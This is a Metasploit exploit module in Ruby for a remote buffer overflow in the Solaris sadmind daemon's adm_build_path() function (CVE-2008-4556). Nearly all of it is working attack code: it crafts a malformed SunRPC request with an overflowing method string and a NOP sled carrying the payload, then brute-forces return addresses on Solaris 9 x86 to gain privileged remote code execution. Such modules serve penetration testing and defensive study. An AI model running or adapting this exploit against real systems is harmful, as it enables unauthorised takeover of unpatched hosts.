Sun Solaris sadmind adm_build_path() Buffer Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::SunRPC
  include Msf::Exploit::Brute

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Sun Solaris sadmind adm_build_path() Buffer Overflow',
      'Description'    => %q{
          This module exploits a buffer overflow vulnerability in adm_build_path()
        function of sadmind daemon.

        The distributed system administration daemon (sadmind) is the daemon used by
        Solstice AdminSuite applications to perform distributed system administration
        operations.

        The sadmind daemon is started automatically by the inetd daemon whenever a
        request to invoke an operation is received. The sadmind daemon process
        continues to run for 15 minutes after the last request is completed, unless a
        different idle-time is specified with the -i command line option. The sadmind
        daemon may be started independently from the command line, for example, at
        system boot time. In this case, the -i option has no effect; sadmind continues
        to run, even if there are no active requests.
      },
      'Author'         =>
        [
          'Ramon de C Valle',
          'Adriano Lima <adriano[at]risesecurity.org>',
        ],
      'Arch'           => ARCH_X86,
      'Platform'       => 'solaris',
      'References'     =>
        [
          ['CVE', '2008-4556'],
          ['OSVDB', '49111'],
          ['URL', 'http://risesecurity.org/advisories/RISE-2008001.txt'],
        ],
      'Privileged'     => true,
      'License'        => MSF_LICENSE,
      'Payload'        =>
        {
          'Space' => 1024,
          'BadChars' => "\x00",
        },
      'Targets'       =>
        [
          [
            'Sun Solaris 9 x86 Brute Force',
            {
              'Arch'       => [ ARCH_X86 ],
              'Platform'   => 'solaris',
              'Nops'       => 1024 * 32,
              'Bruteforce' =>
                {
                  'Start' => { 'Ret' => 0x08062030 },
                  'Stop'  => { 'Ret' => 0x08072030 },
                  'Step'  => 1024 * 30,
                }
            }
          ],
          [
            'Sun Solaris 9 x86',
            {
              'Nops'       => 1024 * 4,
              'Bruteforce' =>
                {
                  'Start' => { 'Ret' => 0x08066a60 + 2048 },
                  'Stop'  => { 'Ret' => 0x08066a60 + 2048 },
                  'Step'  => 1,
                }
            }
          ],
          [
            'Debug',
            {
              'Nops'       => 1024 * 4,
              'Bruteforce' =>
                {
                  'Start' => { 'Ret' => 0xaabbccdd },
                  'Stop'  => { 'Ret' => 0xaabbccdd },
                  'Step'  => 1,
                }
            }
          ],
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2008-10-14'
    ))

  end

  def brute_exploit(brute_target)
    begin
      sunrpc_create('udp', 100232, 10)
    rescue Rex::Proto::SunRPC::RPCTimeout, Rex::Proto::SunRPC::RPCError => e
      vprint_error(e.to_s)
      return
    end

    unless @nops
      print_status('Creating nop block...')
      if target['Nops'] > 0
        @nops = make_nops(target['Nops'])
      else
        @nops = ''
      end
    end

    print_status("Trying to exploit sadmind with address 0x%.8x..." % brute_target['Ret'])

    hostname = 'localhost'

    # buf1 = rand_text_alpha(1017) + [brute_target['Ret']].pack('L')
    buf1 = "A" * 1017 + [brute_target['Ret']].pack('L')
    buf2 = @nops + payload.encoded

    header =
      Rex::Encoder::XDR.encode(0) * 7 +
      Rex::Encoder::XDR.encode(6, 0, 0, 0, 4, 0, 4, 0x7f000001, 100232, 10,
        4, 0x7f000001, 100232, 10, 17, 30, 0, 0, 0, 0,
        hostname, 'system', rand_text_alpha(16))

    body =
      do_int('ADM_FW_VERSION', 1) +
      do_string('ADM_LANG', 'C') +
      do_string('ADM_REQUESTID', '00009:000000000:0') +
      do_string('ADM_CLASS', 'system') +
      do_string('ADM_CLASS_VERS', '2.1') +
      do_string('ADM_METHOD', buf1) +
      do_string('ADM_HOST', hostname) +
      do_string('ADM_CLIENT_HOST', hostname) +
      do_string('ADM_CLIENT_DOMAIN', '') +
      do_string('ADM_TIMEOUT_PARMS', 'TTL=0 PTO=20 PCNT=2 PDLY=30') +
      do_int('ADM_FENCE', 0) +
      do_string('X', buf2) +
      Rex::Encoder::XDR.encode('netmgt_endofargs')

    request = header + Rex::Encoder::XDR.encode(header.length + body.length - 326) + body

    begin
      # two seconds timeout for brute force
      sunrpc_call(1, request, 2)
    rescue Rex::Proto::SunRPC::RPCTimeout
      print_status('Server did not respond, this is expected')
    rescue Rex::Proto::SunRPC::RPCError => e
      print_error(e.to_s)
    end

    sunrpc_destroy
    handler
  end

  def do_string(str1, str2)
    Rex::Encoder::XDR.encode(str1, 9, str2.length + 1, str2, 0, 0)
  end

  def do_int(str, int)
    Rex::Encoder::XDR.encode(str, 3, 4, int, 0, 0)
  end
end